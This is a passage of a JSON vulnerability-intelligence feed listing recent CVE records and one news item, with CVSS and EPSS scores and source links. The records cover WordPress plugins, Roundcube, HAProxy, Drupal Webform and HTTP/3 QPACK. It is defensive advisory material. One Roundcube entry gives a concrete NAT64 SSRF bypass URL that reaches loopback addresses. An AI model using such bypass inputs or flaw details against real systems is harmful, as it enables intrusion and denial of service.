2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105270&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105270, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-new-qpack-flaws-can-crash-http3-servers-059d0a92d893","cveId":null,"aliases":[],"kind":"vulnerability","title":"New QPACK Flaws Can Crash HTTP/3 Servers, Trigger Up to 4,000-Fold Memory Amplification","summary":"A remote attacker who has not logged in can crash many HTTP/3 web servers with a single connection, security firm FoxIO disclosed, releasing working proof-of-concept code.\n\nBy sending a small batch of compressed HTTP headers that expands in memory to a much larger set, the attacker can force the server to use thousands of times more memory than it received, enough to run a default server","detail":"A remote attacker who has not logged in can crash many HTTP/3 web servers with a single connection, security firm FoxIO disclosed, releasing working proof-of-concept code.\n\nBy sending a small batch of compressed HTTP headers that expands in memory to a much larger set, the attacker can force the server to use thousands of times more memory than it received, enough to run a default server\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T06:38:31.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: New QPACK Flaws Can Crash HTTP/3 Servers, Trigger Up to 4,000-Fold Memory Amplification","url":"https://thehackernews.com/2026/10/new-qpack-flaws-can-crash-http3-servers.html","type":"reporting","publishedAt":"2026-10-22T06:38:31.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97328","cveId":"CVE-2026-97328","aliases":[],"kind":"vulnerability","title":"The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is...","summary":"The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is enabled, allowing unauthenticated users to submit content that is stored and later executed as Cross-Site Scripting in the browser of any user viewing an affected page, including administrators.","detail":"The WebP Express WordPress plugin before 0.25.16 does not escape values that its bundled HTML parser re-emits into element attributes when a non-default image delivery mode is enabled, allowing unauthenticated users to submit content that is stored and later executed as Cross-Site Scripting in the browser of any user viewing an affected page, including administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T06:17:15.930Z","updatedAt":"2026-10-22T15:16:14.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97328","asOf":"2026-10-22T15:16:14.027Z"},"epss":{"probability":0.00282,"percentile":0.20488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97328","type":"primary","publishedAt":"2026-10-22T06:17:15.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111958","cveId":"CVE-2026-111958","aliases":[],"kind":"vulnerability","title":"The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated...","summary":"The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated as the token's owning user, an administrator in the default configuration, across the entire REST API with no nonce, leading to full site takeover.","detail":"The Royal MCP  WordPress plugin before 1.5.7 does not limit a preview-link token to the single preview it was issued for, so any party that obtains a valid token is authenticated as the token's owning user, an administrator in the default configuration, across the entire REST API with no nonce, leading to full site takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T06:17:14.113Z","updatedAt":"2026-10-22T15:16:14.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111958","asOf":"2026-10-22T15:16:14.027Z"},"epss":{"probability":0.00248,"percentile":0.15923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111958","type":"primary","publishedAt":"2026-10-22T06:17:14.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109987","cveId":"CVE-2026-109987","aliases":[],"kind":"vulnerability","title":"The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page...","summary":"The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page output, which, on a site running a full-page cache, allows unauthenticated attackers to store a Cross-Site Scripting payload in the cached page that is then served to other visitors.","detail":"The PixelYourSite  WordPress plugin before 11.4.3, PixelYourSite Pro WordPress plugin before 12.6.8 do not sanitise and escape a cookie value before printing it into the page output, which, on a site running a full-page cache, allows unauthenticated attackers to store a Cross-Site Scripting payload in the cached page that is then served to other visitors.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T06:17:13.800Z","updatedAt":"2026-10-22T15:16:14.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109987","asOf":"2026-10-22T15:16:14.027Z"},"epss":{"probability":0.00238,"percentile":0.14727,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109987","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109987","type":"primary","publishedAt":"2026-10-22T06:17:13.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109927","cveId":"CVE-2026-109927","aliases":[],"kind":"vulnerability","title":"The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds...","summary":"The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds that role to grant it administrator-level capabilities and escalate their privileges.","detail":"The HIPAA Forms WordPress plugin before 3.3.2 does not perform a capability check when handling a request that rebuilds its own custom user role, allowing a user who already holds that role to grant it administrator-level capabilities and escalate their privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T06:17:13.590Z","updatedAt":"2026-10-22T15:16:14.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109927","asOf":"2026-10-22T15:16:14.027Z"},"epss":{"probability":0.00402,"percentile":0.34145,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109927","type":"primary","publishedAt":"2026-10-22T06:17:13.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114221","cveId":"CVE-2026-114221","aliases":[],"kind":"vulnerability","title":"NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability.","summary":"NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability. Unauthenticated remote attackers can trigger an HTTP Basic Authentication challenge from an unvalidated source in the WebView under specific conditions, thereby obtaining the NUP Portal passcode of a logged-in user.","detail":"NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability. Unauthenticated remote attackers can trigger an HTTP Basic Authentication challenge from an unvalidated source in the WebView under specific conditions, thereby obtaining the NUP Portal passcode of a logged-in user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T05:16:50.200Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114221","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00333,"percentile":0.26437,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114221","type":"primary","publishedAt":"2026-10-22T05:16:50.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114730","cveId":"CVE-2026-114730","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass.","summary":"Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass. The network blocklist used by rcube_utils::is_local_url() omitted the RFC 6052 NAT64 prefix 64:ff9b::/96, the RFC 8215 local-use NAT64 prefix 64:ff9b:1::/48 and the unspecified address ::/128, so URLs such as http://[64:ff9b::7f00:1]/ passed the filter and reached loopback, link-local and cloud metadata addresses. Upstream fixed this in the commit “Fix SSRF filter (is_local_url()) bypass via NAT64 64:ff9b::/96”.","detail":"Roundcube Webmail 1.6.14 before 1.6.20 and 1.7.0 before 1.7.5 is affected by a server-side request forgery filter bypass. The network blocklist used by rcube_utils::is_local_url() omitted the RFC 6052 NAT64 prefix 64:ff9b::/96, the RFC 8215 local-use NAT64 prefix 64:ff9b:1::/48 and the unspecified address ::/128, so URLs such as http://[64:ff9b::7f00:1]/ passed the filter and reached loopback, link-local and cloud metadata addresses. Upstream fixed this in the commit “Fix SSRF filter (is_local_url()) bypass via NAT64 64:ff9b::/96”.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T03:16:38.217Z","updatedAt":"2026-10-22T16:45:49.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114730","asOf":"2026-10-22T16:45:49.550Z"},"epss":{"probability":0.00312,"percentile":0.23843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114730&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114730","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114730","type":"primary","publishedAt":"2026-10-22T03:16:38.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114730&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114730, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110354","cveId":"CVE-2026-110354","aliases":[],"kind":"vulnerability","title":"HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request.","summary":"HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request. Although the H1 multiplexer drains the request before closing the stream, the parser repeatedly re-processes the same bytes without making progress. The affected thread stays busy at 100% CPU after timeouts expire and after the client disconnects, and repeated requests can consume all worker threads until the process is restarted.","detail":"HAProxy 3 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (persistent worker-thread CPU exhaustion) via an HTTP/1.1 chunked request. Although the H1 multiplexer drains the request before closing the stream, the parser repeatedly re-processes the same bytes without making progress. The affected thread stays busy at 100% CPU after timeouts expire and after the client disconnects, and repeated requests can consume all worker threads until the process is restarted.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T03:16:31.427Z","updatedAt":"2026-10-22T19:17:35.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110354","asOf":"2026-10-22T19:17:35.660Z"},"epss":{"probability":0.00807,"percentile":0.56562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110354","type":"primary","publishedAt":"2026-10-22T03:16:31.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110353","cveId":"CVE-2026-110353","aliases":[],"kind":"vulnerability","title":"HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame.","summary":"HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame. h2c_handle_ping in src/mux_h2.c does not check for a short read, unlike the other H2 frame handlers. Because the incomplete frame cannot be processed, its data is never consumed, and the H2 multiplexer tasklet is repeatedly woken by that pending data without making progress. The CPU spins until timeout http-request closes the connection, and an attacker opening many such connections can sustain high CPU usage.","detail":"HAProxy 3.2 before 3.4.6 allows a remote unauthenticated attacker to cause a denial of service (worker-thread CPU exhaustion) via a truncated HTTP/2 PING frame. h2c_handle_ping in src/mux_h2.c does not check for a short read, unlike the other H2 frame handlers. Because the incomplete frame cannot be processed, its data is never consumed, and the H2 multiplexer tasklet is repeatedly woken by that pending data without making progress. The CPU spins until timeout http-request closes the connection, and an attacker opening many such connections can sustain high CPU usage.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T03:16:31.270Z","updatedAt":"2026-10-22T19:17:35.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110353","asOf":"2026-10-22T19:17:35.540Z"},"epss":{"probability":0.00738,"percentile":0.54258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110353","type":"primary","publishedAt":"2026-10-22T03:16:31.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96365","cveId":"CVE-2026-96365","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation.","summary":"Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in Drupal Webform allows Excessive Allocation. This issue affects Webform versions: from 0.0.0 to 6.2.12, from 6.3.0 to 6.3.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:17:06.630Z","updatedAt":"2026-10-22T16:54:17.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Drupal"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96365","asOf":"2026-10-22T16:54:17.390Z"},"epss":{"probability":0.00411,"percentile":0.35082,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96365&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96365","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96365","type":"primary","publishedAt":"2026-10-22T02:17:06.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96365&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96365, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114727","cveId":"CVE-2026-114727","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images.","summary":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. SVG and EPS were accepted as valid image types for contact photo upload and conversion, and both formats can reference external resources and invoke ImageMagick delegates when processed. Upstream fixed this in the commit “Fix passing potentally unsafe attachment content into ImageMagick on image resize”, which removes svg and eps from the accepted types.","detail":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. SVG and EPS were accepted as valid image types for contact photo upload and conversion, and both formats can reference external resources and invoke ImageMagick delegates when processed. Upstream fixed this in the commit “Fix passing potentally unsafe attachment content into ImageMagick on image resize”, which removes svg and eps from the accepted types.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T02:17:00.797Z","updatedAt":"2026-10-22T16:45:49.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114727","asOf":"2026-10-22T16:45:49.550Z"},"epss":{"probability":0.00332,"percentile":0.26143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114727","type":"primary","publishedAt":"2026-10-22T02:17:00.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 